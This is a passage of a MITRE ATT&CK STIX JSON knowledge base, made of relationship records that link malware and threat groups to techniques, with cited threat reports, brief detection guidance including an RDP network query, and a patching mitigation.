Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:45:12.929Z","description":"(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68bbad6c-1685-4275-bd36-b885a64caf6d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lotus Blossom Jun 2015","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:36:09.435Z","description":"[Elise](https://attack.mitre.org/software/S0081) encrypts several of its files, including configuration files.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68c1cb6c-a3c5-4b54-9f74-eb26cc4a0c50","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:18:00.307Z","description":"Monitor for newly constructed network connections (typically over port 3389) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\n\nAnalytic 1 - Abnormal RDP Network Connections\n\n sourcetype=zeek \n| search dest_port=3389 // Default RDP port\n| stats count by src_ip, dest_ip, dest_port\n| where src_ip!=\"trusted_ips\" AND dest_ip!=\"internal_servers\"","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68c412d7-9b6e-4a0e-a29f-69c1d8065156","type":"relationship","created":"2020-03-20T23:18:04.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.","url":"https://securelist.com/dridex-a-history-of-evolution/78531/","source_name":"Kaspersky Dridex May 2017"}],"modified":"2020-03-20T23:18:04.721Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RSA.(Citation: Kaspersky Dridex May 2017)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--68c60234-8e28-410c-a0a0-94ca1a079f1e","created":"2022-03-30T14:26:51.871Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).","modified":"2022-04-20T00:32:42.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68cfc5f9-3c65-4f24-8018-cf811d7b6c9f","type":"relationship","created":"2020-07-01T21:05:18.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.360Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has used openssl to decrypt AES encrypted payload data. [Bundlore](https://attack.mitre.org/software/S0482) has also used base64 and RC4 with a hardcoded key to deobfuscate data.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68d151ea-6dd8-4e6b-acd5-c998ebffc357","type":"relationship","created":"2019-09-24T14:19:05.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.884Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command, ps, to obtain a listing of processes on the system.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68d41471-49c7-4210-8d9b-2958e95feb1a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T14:50:35.543Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027)'s malware can create a new service, sometimes naming it after the config information, to gain persistence.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68da81e3-44b7-4d06-ab56-b0095e02eba0","created":"2022-12-20T21:11:41.385Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-20T21:11:41.385Z","description":"(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68dc04ee-ef1f-4ed4-a3eb-3232394543c3","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for files viewed in isolation that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--68ddf3bf-bf01-4de5-8b0e-e00db5a8ee7e","created":"2022-06-24T14:12:46.845Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can direct queries to custom DNS servers and return C2 commands using TXT records.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:12:46.845Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68e017e5-ee14-4e33-9907-2537fbbdb117","type":"relationship","created":"2020-07-16T15:23:48.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.762Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68e0f80d-86e4-47c4-9498-49fa72221ca2","type":"relationship","created":"2020-03-27T21:04:50.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:04:50.409Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68e18f32-aae3-4bd6-b8e5-6ec2ec3d4173","type":"relationship","created":"2020-10-21T19:08:44.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.234Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has downloaded a zip file for execution on the system.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68e1b510-a985-467a-b3b6-03d5493e9b59","type":"relationship","created":"2021-04-03T18:55:25.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:56:54.686Z","description":"Ensure operating systems and browsers are using the most current version. ","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68e9977d-a765-45ad-91e9-42db7af8f990","created":"2023-07-28T17:53:53.437Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T17:53:53.437Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has obtained administrative credentials by browsing through local files on a compromised machine.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68eb092e-fa23-4d6d-8a71-8653e962e7ed","type":"relationship","created":"2020-02-25T18:35:42.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-25T18:35:42.851Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68ece5ad-73bd-4562-ac08-877bd1e18f79","created":"2021-12-07T15:14:11.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Core Security Impacket","description":"Core Security. (n.d.). Impacket. Retrieved November 2, 2017.","url":"https://www.coresecurity.com/core-labs/open-source-tools/impacket"},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T22:09:34.691Z","description":"(Citation: US-CERT TA18-074A)(Citation: Core Security Impacket)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2019-04-29T18:01:20.484Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that exfiltrates data over the C2 channel.(Citation: FireEye Clandestine Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68efc544-05be-454e-86e9-18d55c7d0f2b","type":"relationship","created":"2020-12-22T21:05:13.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-22T21:05:13.875Z","description":"(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68f0beb9-ce3e-44ae-af4d-516c22aa3cf4","created":"2022-09-26T22:05:55.494Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T22:05:55.494Z","description":"For [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors staged malicious files on Dropbox and other websites.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68f0f623-b5f2-47a8-8206-eabfb472d7aa","created":"2024-06-06T19:03:01.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:41:56.153Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can discover and mount hidden drives to encrypt them.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68f6cc6d-b90b-4a56-a867-99b3a2786b11","type":"relationship","created":"2019-04-24T20:48:39.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.582Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can list and manage startup entries.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68f9103d-e772-493b-9ce6-fde4e2473207","created":"2024-05-28T13:27:48.670Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T13:27:48.670Z","description":"[OutSteel](https://attack.mitre.org/software/S1017) was developed using the AutoIT scripting language.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68fc9cf1-d191-4ebd-af14-004519ab76d7","type":"relationship","created":"2020-11-13T20:23:31.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:23:31.136Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the computer name and OS version from a compromised host.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--68fe6dba-773f-48cc-8c41-7d2379eb432f","created":"2022-08-07T15:37:22.749Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) can use HTTP to communicate with its C2 servers.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:35:53.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6905186c-0c88-472e-a3a3-2dca4cf1c874","type":"relationship","created":"2020-03-27T21:16:58.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:16:58.932Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--690600a7-d041-4cb0-a92b-76f59d8a6343","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor for changes made to detect changes made to the authorized_keys file for each user on a system. Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--690a7276-e560-4d69-92bc-feecf7d0cc73","created":"2021-03-30T17:38:34.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 